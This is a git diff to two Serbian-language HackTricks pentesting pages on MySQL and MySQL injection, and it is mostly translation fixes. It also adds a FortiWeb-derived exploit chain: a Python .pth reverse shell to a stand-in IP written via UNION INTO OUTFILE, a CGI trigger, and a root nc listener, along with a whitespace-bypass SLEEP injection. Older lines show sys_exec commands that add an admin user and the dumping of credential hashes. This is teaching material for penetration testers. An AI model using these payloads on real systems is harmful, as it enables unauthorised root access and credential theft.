diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md
index 327c26aa8..4e94b2184 100644
--- a/src/network-services-pentesting/pentesting-mysql.md
+++ b/src/network-services-pentesting/pentesting-mysql.md
@@ -1,10 +1,15 @@
 # 3306 - Pentesting Mysql
 
+{{#include /banners/hacktricks-training.md}}
+
+## References
+- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
+
 {{#include ../banners/hacktricks-training.md}}
 
 ## **Osnovne informacije**
 
-**MySQL** se može opisati kao open source **Relational Database Management System (RDBMS)** koji je dostupan bez troškova. Radi na **Structured Query Language (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka.
+**MySQL** se može opisati kao open source **Sistem za upravljanje relacionim bazama podataka (RDBMS)** koji je dostupan bez troškova. Radi na **Strukturiranom jeziku upita (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka.
 
 **Podrazumevani port:** 3306
 ```
@@ -17,7 +22,7 @@
 mysql -u root # Connect to root without password
 mysql -u root -p # A password will be asked (check someone)
 ```
-### Удалено
+### Udaljeno
 ```bash
 mysql -h <Hostname> -u root
 mysql -h <Hostname> -u root@localhost
@@ -109,21 +114,58 @@ Možete videti u dokumentaciji značenje svake privilegije: [https://dev.mysql.c
 ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
 {{#endref}}
 
+#### INTO OUTFILE → Python `.pth` RCE (konfiguracione kuke specifične za sajt)
+
+Zloupotrebom klasične `INTO OUTFILE` primitive moguće je dobiti *izvršenje proizvoljnog koda* na ciljevima koji kasnije pokreću **Python** skripte.
+
+1. Koristite `INTO OUTFILE` da postavite prilagođenu **`.pth`** datoteku unutar bilo kog direktorijuma koji se automatski učitava od strane `site.py` (npr. `.../lib/python3.10/site-packages/`).
+2. `.pth` datoteka može sadržati *jednu liniju* koja počinje sa `import ` praćenom proizvoljnim Python kodom koji će se izvršavati svaki put kada se interpreter pokrene.
+3. Kada se interpreter implicitno izvršava putem CGI skripte (na primer `/cgi-bin/ml-draw.py` sa shebang `#!/bin/python`), payload se izvršava sa istim privilegijama kao proces web-servera (FortiWeb ga je pokrenuo kao **root** → potpuno pre-auth RCE).
+
+Primer `.pth` payload-a (jedna linija, bez razmaka koji se mogu uključiti u konačni SQL payload, tako da hex/`UNHEX()` ili spajanje stringova može biti potrebno):
+```python
+import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
+```
+Primer kreiranja fajla putem **UNION** upita (prostorni karakteri zamenjeni sa `/**/` kako bi se zaobišao `sscanf("%128s")` filter za prostore i zadržala ukupna dužina ≤128 bajtova):
+```sql
+'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
+```
+Važne ograničenja i zaobilaženja:
+
+* `INTO OUTFILE` **ne može prepisati** postojeće datoteke; izaberite novo ime datoteke.
+* Putanja do datoteke se rešava **u odnosu na MySQL-ov CWD**, tako da prefiksiranje sa `../../` pomaže da se skraći putanja i zaobiđu ograničenja apsolutne putanje.
+* Ako je unos napadača izvučen sa `%128s` (ili slično), svaki razmak će skratiti payload; koristite MySQL komentare `/**/` ili `/*!*/` da zamenite razmake.
+* MySQL korisnik koji izvršava upit treba da ima `FILE` privilegiju, ali u mnogim uređajima (npr. FortiWeb) usluga se pokreće kao **root**, što daje pristup za pisanje gotovo svuda.
+
+Nakon što se izbaci `.pth`, jednostavno zatražite bilo koji CGI koji obrađuje python interpreter da biste dobili izvršenje koda:
+```
+GET /cgi-bin/ml-draw.py HTTP/1.1
+Host: <target>
+```
+Python proces će automatski uvesti zlonamerni `.pth` i izvršiti shell payload.
+```
+# Attacker
+$ nc -lvnp 4444
+id
+uid=0(root) gid=0(root) groups=0(root)
+```
+---
+
 ## MySQL proizvoljno čitanje datoteka od strane klijenta
 
-U stvari, kada pokušate da **učitate podatke lokalno u tabelu** **sadržaj datoteke**, MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Zatim, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\
-Molimo vas da primetite da je ovo ponašanje korišćenjem:
+U stvari, kada pokušate da **učitate podatke lokalno u tabelu** iz **sadržaja datoteke**, MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Tada, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\
+Molimo vas da obratite pažnju da je ovo ponašanje korišćenjem:
 ```bash
 load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
 ```
-(Обратите пажњу на реч "локални")\
-Пошто без "локални" можете добити:
+(Obratite pažnju na reč "local")\
+Jer bez "local" možete dobiti:
 ```bash
 mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
 
 ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
 ```
-**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
+**Početni PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
 **U ovom radu možete videti potpunu opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
 **Ovde možete pronaći pregled napada:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
 
@@ -146,7 +188,7 @@ U konfiguraciji MySQL usluga, različite postavke se koriste za definisanje njen
 
 - Postavka **`user`** se koristi za određivanje korisnika pod kojim će MySQL usluga biti izvršena.
 - **`password`** se primenjuje za uspostavljanje lozinke povezane sa MySQL korisnikom.
-- **`admin_address`** specificira IP adresu koja sluša TCP/IP konekcije na administrativnom mrežnom interfejsu.
+- **`admin_address`** specificira IP adresu koja sluša na TCP/IP konekcijama na administrativnom mrežnom interfejsu.
 - Varijabla **`debug`** ukazuje na trenutne konfiguracije za debagovanje, uključujući osetljive informacije unutar logova.
 - **`sql_warnings`** upravlja time da li se generišu informacione stringovi za INSERT izjave sa jednim redom kada se pojave upozorenja, sadržeći osetljive podatke unutar logova.
 - Sa **`secure_file_priv`**, opseg operacija uvoza i izvoza podataka je ograničen radi poboljšanja sigurnosti.
@@ -214,7 +256,7 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
 SELECT sys_exec("net user npn npn12345678 /add");
 SELECT sys_exec("net localgroup Administrators npn /add");
 ```
-### Izvlačenje MySQL kredencijala iz fajlova
+### Izvlačenje MySQL akreditiva iz fajlova
 
 Unutar _/etc/mysql/debian.cnf_ možete pronaći **lozinku u običnom tekstu** korisnika **debian-sys-maint**
 ```bash
@@ -224,7 +266,7 @@ Možete **koristiti ove akreditive za prijavu u mysql bazu podataka**.
 
 Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve hešove MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka)_._
 
-Možete ih izvući tako što ćete:
+Možete ih izvući tako što ćete uraditi:
 ```bash
 grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
 ```
@@ -234,9 +276,9 @@ Možete omogućiti logovanje mysql upita unutar `/etc/mysql/my.cnf` otkomentaris
 
 ![](<../images/image (899).png>)
 
-### Korisni fajlovi
+### Korisne datoteke
 
-Konfiguracioni fajlovi
+Konfiguracione datoteke
 
 - windows \*
 - config.ini
@@ -253,12 +295,12 @@ Konfiguracioni fajlovi
 - /etc/my.cnf
 - Istorija komandi
 - \~/.mysql.history
-- Log fajlovi
+- Log datoteke
 - connections.log
 - update.log
 - common.log
 
-## Podrazumevana MySQL Baza Podataka/Tabele
+## Podrazumevana MySQL baza podataka/tabele
 
 {{#tabs}}
 {{#tab name="information_schema"}}
@@ -609,6 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion
 Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
 
 ```
-​
+## Reference
+- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md
index daf26ce8d..667ae076f 100644
--- a/src/pentesting-web/sql-injection/mysql-injection/README.md
+++ b/src/pentesting-web/sql-injection/mysql-injection/README.md
@@ -52,7 +52,7 @@ from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/]
 
 ## Tok
 
-Zapamtite da u "modernim" verzijama **MySQL** možete zameniti "_**information_schema.tables**_" za "_**mysql.innodb_table_stats**_**"** (Ovo može biti korisno za zaobilaženje WAF-ova).
+Zapamtite da u "modernim" verzijama **MySQL** možete zameniti "_**information_schema.tables**_" sa "_**mysql.innodb_table_stats**_**"** (Ovo može biti korisno za zaobilaženje WAF-ova).
 ```sql
 SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
 SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
@@ -71,15 +71,15 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
 
 ### **Slepo dodavanje**
 
-- `LPAD(version(),1...dužina(version()),'1')='asd'...`
-- `RPAD(version(),1...dužina(version()),'1')='asd'...`
-- `SELECT RIGHT(version(),1...dužina(version()))='asd'...`
-- `SELECT LEFT(version(),1...dužina(version()))='asd'...`
+- `LPAD(version(),1...lenght(version()),'1')='asd'...`
+- `RPAD(version(),1...lenght(version()),'1')='asd'...`
+- `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
+- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
 - `SELECT INSTR('foobarbar', 'fo...')=1`
 
 ## Otkrivanje broja kolona
 
-Koristeći jednostavan ORDER
+Korišćenje jednostavnog ORDER
 ```
 order by 1
 order by 2
@@ -92,7 +92,7 @@ UniOn SeLect 1,2
 UniOn SeLect 1,2,3
 ...
 ```
-## MySQL Unija Zasnovana
+## MySQL Union Based
 ```sql
 UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
 UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
@@ -101,7 +101,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
 ```
 ## SSRF
 
-**Naučite ovde različite opcije za** [**zloupotrebu Mysql injekcije da dobijete SSRF**](mysql-ssrf.md)**.**
+**Saznajte ovde različite opcije za** [**zloupotrebu Mysql injekcije da dobijete SSRF**](mysql-ssrf.md)**.**
 
 ## WAF bypass trikovi
 
@@ -138,11 +138,33 @@ select (select 1, 'flaf') = (SELECT * from demo limit 1);
 ```
 Više informacija na [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
 
+### Injekcija bez PROSTORA (`/**/` trik sa komentarima)
+
+Neke aplikacije sanitizuju ili analiziraju korisnički unos pomoću funkcija kao što je `sscanf("%128s", buf)` koje **staju na prvom razmaku**. 
+Pošto MySQL tretira sekvencu `/**/` kao komentar *i* kao razmak, može se koristiti za potpuno uklanjanje normalnih razmaka iz payload-a dok se upit sintaktički održava validnim.
+
+Primer vremenski zasnovane slepe injekcije koja zaobilazi filter razmaka:
+```http
+GET /api/fabric/device/status HTTP/1.1
+Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
+```
+Koji baza podataka prima kao:
+```sql
+' OR SLEEP(5)-- -'
+```
+Ovo je posebno korisno kada:
+
+* Kontrolisani bafer je ograničenog veličine (npr. `%128s`) i razmaci bi prerano prekinuli unos.
+* Injektovanje kroz HTTP zaglavlja ili druga polja gde se normalni razmaci uklanjaju ili koriste kao razdvojivači.
+* U kombinaciji sa `INTO OUTFILE` primitivima za postizanje potpunog pre-auth RCE (vidi odeljak o MySQL File RCE).
+
+---
+
 ### MySQL istorija
 
 Možete videti druge izvršenja unutar MySQL-a čitajući tabelu: **sys.x$statement_analysis**
 
-### Verzija alternative**s**
+### Verzija alternativa**s**
 ```
 mysql> select @@innodb_version;
 mysql> select @@version;
@@ -150,11 +172,12 @@ mysql> select version();
 ```
 ## Ostali MYSQL injection vodiči
 
-- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
+- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
 
 ## Reference
 
-- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
+- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
+- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
 
 
 {{#include ../../../banners/hacktricks-training.md}}